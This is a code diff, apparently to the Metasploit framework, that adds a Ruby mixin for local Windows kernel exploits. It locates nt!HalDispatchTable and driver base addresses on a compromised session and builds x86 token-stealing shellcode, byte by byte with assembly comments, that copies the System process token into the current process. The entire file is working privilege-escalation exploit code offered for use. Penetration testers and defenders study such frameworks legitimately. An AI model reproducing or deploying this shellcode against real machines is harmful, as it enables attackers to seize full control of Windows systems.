diff --git a/lib/msf/core/exploit/local/windows_kernel.rb b/lib/msf/core/exploit/local/windows_kernel.rb
new file mode 100644
index 0000000000..8cdc7d88f2
--- /dev/null
+++ b/lib/msf/core/exploit/local/windows_kernel.rb
@@ -0,0 +1,113 @@
+# -*- coding: binary -*-
+
+module Msf
+module Exploit::Local::WindowsKernel
+
+  #
+  # Find the address of nt!HalDispatchTable.
+  #
+  # @return [Integer] The address of nt!HalDispatchTable.
+  #
+  def find_haldispatchtable
+    kernel_info = find_sys_base(nil)
+    vprint_status("Kernel Base Address: 0x#{kernel_info[0].to_s(16)}")
+
+    hKernel = session.railgun.kernel32.LoadLibraryExA(kernel_info[1], 0, 1)
+    if hKernel['return'] == 0
+      print_error("Failed to load #{kernel_info[1]} (error: #{hKernel['GetLastError']})")
+      return nil
+    end
+    hKernel = hKernel['return']
+
+    halDispatchTable = session.railgun.kernel32.GetProcAddress(hKernel, "HalDispatchTable")
+    if halDispatchTable['return'] == 0
+      print_error("Failed to retrieve the address of HalDispatchTable (error: #{halDispatchTable['GetLastError']})")
+      return nil
+    end
+    halDispatchTable = halDispatchTable['return']
+
+    halDispatchTable -= hKernel
+    halDispatchTable += kernel_info[0]
+    vprint_status("HalDisPatchTable Address: 0x#{halDispatchTable.to_s(16)}")
+    halDispatchTable
+  end
+
+  #
+  # Find the load address for a device driver on the session.
+  #
+  # @param drvname [String, nil] The name of the module to find, otherwise the kernel
+  #   if this value is nil.
+  #
+  # @return [Array, nil] An array containing the base address and the located drivers name.
+  #
+  def find_sys_base(drvname)
+    unless session.railgun.dlls.keys.include?('psapi')
+      session.railgun.add_dll('psapi')
+      session.railgun.add_function(
+        'psapi',
+        'EnumDeviceDrivers',
+        'BOOL',
+        [
+          ["PBLOB", "lpImageBase", "out"],
+          ["DWORD", "cb", "in"],
+          ["PDWORD", "lpcbNeeded", "out"]
+        ])
+      session.railgun.add_function(
+        'psapi',
+        'GetDeviceDriverBaseNameA',
+        'DWORD',
+        [
+          ["LPVOID", "ImageBase", "in"],
+          ["PBLOB", "lpBaseName", "out"],
+          ["DWORD", "nSize", "in"]
+        ])
+    end
+
+    results = session.railgun.psapi.EnumDeviceDrivers(4096, 1024, 4)
+    addresses = results['lpImageBase'][0..results['lpcbNeeded'] - 1].unpack("V*")
+
+    addresses.each do |address|
+      results = session.railgun.psapi.GetDeviceDriverBaseNameA(address, 48, 48)
+      current_drvname = results['lpBaseName'][0..results['return'] - 1]
+      if drvname == nil
+        if current_drvname.downcase.include?('krnl')
+          return [address, current_drvname]
+        end
+      elsif drvname == current_drvname
+        return [address, current_drvname]
+      end
+    end
+  end
+
+  #
+  # Generate x86 token stealing shellcode suitable for use when overwriting the
+  # halDispatchTable+0x4.
+  #
+  # @param target [Hash] The target information containing the offsets to _KPROCESS,
+  #   _TOKEN, _UPID and _APLINKS.
+  #
+  # @return [String] The token stealing shellcode.
+  #
+  def token_stealing_shellcode_x86(target)
+    tokenstealing =  "\x52"                                                        # push edx                         # Save edx on the stack
+    tokenstealing << "\x53"                                                        # push ebx                         # Save ebx on the stack
+    tokenstealing << "\x33\xc0"                                                    # xor eax, eax                     # eax = 0
+    tokenstealing << "\x64\x8b\x80\x24\x01\x00\x00"                                # mov eax, dword ptr fs:[eax+124h] # Retrieve ETHREAD
+    tokenstealing << "\x8b\x40" + target['_KPROCESS']                              # mov eax, dword ptr [eax+44h]     # Retrieve _KPROCESS
+    tokenstealing << "\x8b\xc8"                                                    # mov ecx, eax
+    tokenstealing << "\x8b\x98" + target['_TOKEN'] + "\x00\x00\x00"                # mov ebx, dword ptr [eax+0C8h]    # Retrieves TOKEN
+    tokenstealing << "\x8b\x80" + target['_APLINKS'] + "\x00\x00\x00"              # mov eax, dword ptr [eax+88h]  <====| # Retrieve FLINK from ActiveProcessLinks
+    tokenstealing << "\x81\xe8" + target['_APLINKS'] + "\x00\x00\x00"              # sub eax,88h                        | # Retrieve _EPROCESS Pointer from the ActiveProcessLinks
+    tokenstealing << "\x81\xb8" + target['_UPID'] + "\x00\x00\x00\x04\x00\x00\x00" # cmp dword ptr [eax+84h], 4         | # Compares UniqueProcessId with 4 (The System Process on Windows XP)
+    tokenstealing << "\x75\xe8"                                                    # jne 0000101e ======================
+    tokenstealing << "\x8b\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov edx,dword ptr [eax+0C8h]     # Retrieves TOKEN and stores on EDX
+    tokenstealing << "\x8b\xc1"                                                    # mov eax, ecx                     # Retrieves KPROCESS stored on ECX
+    tokenstealing << "\x89\x90" + target['_TOKEN'] + "\x00\x00\x00"                # mov dword ptr [eax+0C8h],edx     # Overwrites the TOKEN for the current KPROCESS
+    tokenstealing << "\x5b"                                                        # pop ebx                          # Restores ebx
+    tokenstealing << "\x5a"                                                        # pop edx                          # Restores edx
+    tokenstealing << "\xc2\x10"                                                    # ret 10h                          # Away from the kernel!
+    tokenstealing
+  end
+
+end
+end